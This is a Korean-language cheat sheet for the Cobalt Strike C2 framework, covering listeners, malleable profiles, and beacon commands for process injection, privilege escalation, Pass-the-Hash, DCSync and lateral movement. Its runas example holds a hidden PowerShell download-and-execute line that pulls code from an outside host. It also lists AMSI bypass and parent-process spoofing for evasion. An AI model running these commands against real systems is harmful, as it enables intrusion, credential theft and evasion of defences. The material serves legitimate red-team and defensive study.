Cobalt Strike CheatSheet
cobalt strike C2 프레임워크에 대한 일반적인 참고 사항 및 조언.
요약
기본 메뉴 설명
- Cobalt Strike: 가장 첫 번째이자 기본 메뉴로, 팀 서버 연결, 환경 설정, 비콘 세션 보기 변경, 리스너 및 aggressor 스크립트 관리 기능을 포함합니다.
- View: View 메뉴는 타깃, 로그, 수집된 자격 증명, 스크린샷, 키스트로크 등을 관리하는 요소로 구성됩니다. 주요 목적은 다양한 모듈의 출력에 쉽게 접근하고, 수집한 데이터(loot)와 도메인 타깃을 관리하는 편리한 방법을 제공하는 것입니다.
- Attacks: 이 메뉴는 피싱 메일, 웹사이트 복제, 파일 호스팅 등 다양한 클라이언트 측 공격 생성 방법을 포함합니다. 또한 비콘 페이로드를 생성하거나, 셸코드를 생성하여 나중에 다른 난독화 도구에서 사용할 수 있도록 저장하는 다양한 방법을 제공합니다.
- Reporting: 공격 실행에 대한 정보를 담은 pdf 또는 스프레드시트 파일을 쉽게 생성할 수 있는 방법을 제공하며, 이를 통해 소규모 보고서를 정리하고 최종 보고서 작성 과정을 더 쉽게 만들어 줍니다.
- Help: 도구의 기본 도움말 메뉴입니다.
리스너
이그레스 리스너
- HTTP/HTTPS: 비콘을 위한 가장 기본적인 페이로드로, 기본적으로 리스너는 포트 80과 443에서 수신하며 항상 사용자 지정 포트를 설정할 수 있는 옵션이 있습니다. 프록시 설정을 지정하거나, HTTP 헤더를 사용자 지정하거나, 인프라가 페이로드 콜백에 리다이렉터 서버를 사용하는 경우 비콘의 트래픽을 리다이렉트할 바인드 포트를 지정할 수 있는 옵션이 있습니다.
- DNS: 매우 은밀한 페이로드 옵션으로, dns 프로토콜을 통해 더 은밀한 트래픽을 제공하며, 연결할 DNS 서버를 지정해야 합니다. 이 유형의 리스너를 사용하기 가장 좋은 상황은 포트 80과 443 같은 일반적인 트래픽조차 차단하는 매우 폐쇄적인 환경입니다.
피벗 리스너
- TCP: 특정 포트에 바인딩되는 기본 tcp 리스너입니다.
- SMB: 내부 확산 및 측면 이동을 위한 훌륭한 옵션으로, 이 페이로드는 smb 프로토콜을 통한 명명된 파이프(named pipe)를 사용하며, 포트 80과 443 같은 기본 포트조차 블랙리스트에 등록된 경우 방화벽을 우회하는 최선의 접근 방식입니다.
기타 리스너
- Foreign HTTP/HTTPS: 이 유형의 리스너는 http 또는 https 페이로드를 사용하여 metasploit 프레임워크에서 cobalt strike로 세션을 전달할 수 있는 옵션을 제공합니다. 유용한 예로는 metasploit에서 익스플로잇 모듈을 실행하고 cobalt strike에서 비콘 세션을 얻는 것입니다.
- External C2: 서드파티 애플리케이션이 비콘의 통신 매체 역할을 할 수 있는 옵션을 제공하는 특별한 유형의 리스너입니다.
Malleable C2 프로필
간단히 말해 malleable c2 프로필은 비콘이 모듈을 실행하고, 프로세스와 스레드를 생성하며, dll을 주입하거나 디스크와 메모리에 접근할 때 어떻게 통신하고 동작할지를 정의하는 구성 파일입니다. 그뿐만 아니라 페이로드의 트래픽이 pcap에서 어떻게 보일지, 통신 간격과 지터(jitter) 등을 구성합니다.
사용자 지정 malleable c2 프로필의 큰 장점은 우리의 상황과 타깃 환경에 맞게 페이로드를 구성하고 사용자 지정할 수 있다는 점이며, 이를 통해 환경의 트래픽과 섞여 더욱 은밀해질 수 있습니다.
Aggressor 스크립트
Aggressor Script는 Cobalt Strike 3.0 이상에 내장된 스크립팅 언어입니다. Aggressor Script를 사용하면 Cobalt Strike 클라이언트를 수정하고 확장할 수 있습니다. 이 스크립트는 기존 모듈에 추가 기능을 더하거나 새로운 모듈을 생성할 수 있습니다.
Aggressor Script 튜토리얼
일반 명령어
- help: 사용 가능한 명령어 목록을 표시합니다.
- help <module>: 선택한 모듈의 도움말 메뉴를 표시합니다.
- jobs: beacon의 실행 중인 작업을 나열합니다.
- jobkill <id>: 선택한 작업을 종료합니다.
- run: Win32 API 호출을 사용하여 OS 명령을 실행합니다.
- shell: "cmd.exe /c"를 실행하여 OS 명령을 실행합니다.
- powershell: "powershell.exe"를 실행하여 명령을 실행합니다.
- powershell-import: 현재 beacon 프로세스에 로컬 powershell 모듈을 가져옵니다.
- powerpick: "powershell.exe"를 실행하지 않고 .NET 라이브러리와 어셈블리만 사용하여 powershell 명령을 실행합니다. (AMSI 및 CLM 우회)
- drives: 현재 시스템 드라이브를 나열합니다.
- getuid: 현재 사용자 uid를 가져옵니다.
- sleep: beacon 콜백의 간격과 지터를 설정합니다.
- sleep 사용법:
sleep [time in seconds] [jitter]
즉,
sleep 5 60
sleep 120 40
...
익스플로잇
- browserpivot: Internet Explorer의 웹 세션을 하이재킹하여 세션, 쿠키, 저장된 비밀번호를 포함한 피해자의 브라우저로서 웹을 탐색할 수 있게 합니다.
- dcsync: mimikatz를 사용하여 DCsync 공격을 수행합니다.
- dcsync 사용법:
dcsync [DOMAIN.fqdn] [DOMAIN\user]
즉,
dcsync CORP.local CORP\steve.johnson
- desktop: 비콘 프로세스에 VNC 서버를 주입하고 대상의 원격 데스크톱 뷰를 가져옵니다.
- desktop 사용법:
desktop [pid] [x86|x64] [high|low]
즉,
desktop 592 x64 high
desktop 8841 x86 low
❗ high/low 인자는 세션의 품질을 지정합니다.
- dllinject/dllload: 리플렉티브 dll을 프로세스에 주입하거나 현재 프로세스에 dll을 로드합니다.
- execute-assembly: .NET으로 컴파일된 어셈블리 실행 파일을 완전히 메모리에서 로드하고 실행합니다.
- execute-assembly 사용법:
execute-assembly [/path/to/local/.NET] [arguments]
- inject: 지정된 프로세스에 비콘 페이로드를 주입하고 해당 프로세스의 보안 컨텍스트에서 새 비콘 세션을 생성합니다.
- inject 사용법:
inject [pid] [x86|x64] [listener]
즉,
inject 9942 x64 Lab-SMB
inject 429 x86 Lab-HTTPS
...
- kerberos*: kerberos 티켓을 조작합니다.
- ppid: 모든 사후 익스플로잇 자식 프로세스 생성 작업에 대해 비콘의 부모 프로세스를 스푸핑합니다. 이를 통해 악성 사후 익스플로잇 작업을 숨길 수 있습니다.
- psinject: 지정된 프로세스에 인젝션하고 powerpick의 기능을 사용하여 명령을 실행합니다.
📓 powershell-import로 가져온 Powershell 모듈을 사용할 수 있습니다.
- runu: 스푸핑된 프로세스 PID 아래에서 명령을 실행합니다.
- shinject: 실행 중인 다른 프로세스에 셸코드를 인젝션합니다.
- shspawn: 새 프로세스를 생성하고 그 프로세스에 셸코드를 인젝션합니다.
- shspawn 사용법:
shspawn [x86|x64] [/path/to/my.bin]
즉,
shspawn x64 /opt/shellcode/malicious.bin
권한 상승
- elevate: 커널 익스플로잇과 UAC 우회를 사용하여 권한을 Administrator 또는 SYSTEM으로 상승시키는 다양한 방법을 포함합니다.
- elevate 사용법:
elevate [exploit] [listener]
즉,
elevate juicypotato Lab-SMB
elevate ms16-032 Lab-HTTPS
...
- getsystem: SYSTEM으로 가장을 시도하며, 실패할 경우 SYSTEM으로 실행되는 프로세스에서 steal_token을 사용하여 토큰을 탈취할 수 있습니다.
- getprivs: metasploit의 기능과 동일하며, 현재 토큰에서 사용 가능한 모든 권한을 활성화합니다.
- runasadmin: 로컬 커널 또는 UAC 우회 익스플로잇을 사용하여 Administrator 또는 SYSTEM의 상승된 컨텍스트에서 명령을 실행하려고 시도합니다. elevate와의 차이점은 새로운 beacon을 생성하지 않고, 우리가 선택한 지정된 애플리케이션을 새로운 컨텍스트에서 실행한다는 것입니다.
- runasadmin 사용법:
runasadmin [exploit] [command] [args]
즉,
runasadmin uac-token-duplication [command]
runasadmin uac-cmstplua [command]
피보팅
-
socks: socks4a 프록시 서버를 시작하고 지정된 포트에서 수신 대기합니다. proxychains 또는 redsocks와 같은 프록시 클라이언트를 사용하여 프록시 서버를 통해 접근할 수 있습니다.
-
socks 사용법:
socks [port]
즉,
socks 9050
❗ 이를 위해서는 지정된 포트와 일치하도록 /etc/proxychains.conf를 구성해야 합니다. Windows에서 작업하는 경우 proxychains.conf 파일은 %USERPROFILE%.proxychains\proxychains.conf, (SYSCONFDIR)/proxychains.conf 또는 (Global programdata dir)\Proxychains\proxychains.conf에 위치할 수 있습니다.
- covertvpn: 현재 시스템에 VPN을 배포하며, 새 인터페이스를 생성하고 이를 지정된 IP에 병합합니다. 이를 사용하면 실제 라우터를 통한 연결이 있을 때와 마찬가지로 로컬 인터페이스를 통해 내부 대상 네트워크에 접근할 수 있습니다.
측면 이동
- portscan: 특정 대상에 대해 포트스캔을 수행합니다.
- portscan 사용법:
portscan [ip or ip range] [ports]
즉,
portscan 172.16.48.0/24 1-2048,3000,8080
위 명령은 전체 172.16.48.0/24 서브넷의 포트 1부터 2048, 3000 및 8080을 스캔합니다. 이는 단일 IP에도 활용할 수 있습니다.
- runas: runas.exe의 래퍼로, 자격 증명을 사용하여 다른 사용자로 명령을 실행할 수 있습니다.
- runas 사용법:
runas [DOMAIN\user] [password] [command] [arguments]
즉,
runas CORP\Administrator securePassword12! Powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.50.90:80/filename'))"
- pth: 사용자 이름과 NTLM 해시를 제공하면 Pass The Hash 공격을 수행하고 현재 프로세스에 TGT를 주입할 수 있습니다.
❗ 이 모듈은 관리자 권한이 필요합니다.
- pth 사용법:
pth [DOMAIN\user] [hash]
pth Administrator 97fc053bc0b23588798277b22540c40d
pth CORP\Administrator 97fc053bc0b23588798277b22540c40d
- steal_token: 지정된 프로세스에서 토큰을 탈취합니다.
- make_token: 자격 증명을 제공하면 현재 프로세스에 가장(impersonation) 토큰을 생성하고 가장된 사용자의 컨텍스트에서 명령을 실행할 수 있습니다.
- jump: winrm 또는 psexec를 사용하여 대상에 새로운 beacon 세션을 생성함으로써 측면 이동을 쉽고 빠르게 수행할 수 있는 방법을 제공합니다.
❗ jump 모듈은 원격 대상에 인증하기 위해 현재 위임/가장 토큰을 사용합니다.
💪 jump 모듈을 make_token 또는 pth 모듈과 결합하여 네트워크상의 다른 대상으로 빠르게 "jump"할 수 있습니다.
- jump 사용법:
jump [psexec64,psexec,psexec_psh,winrm64,winrm] [server/workstation] [listener]
즉,
jump psexec64 DC01 Lab-HTTPS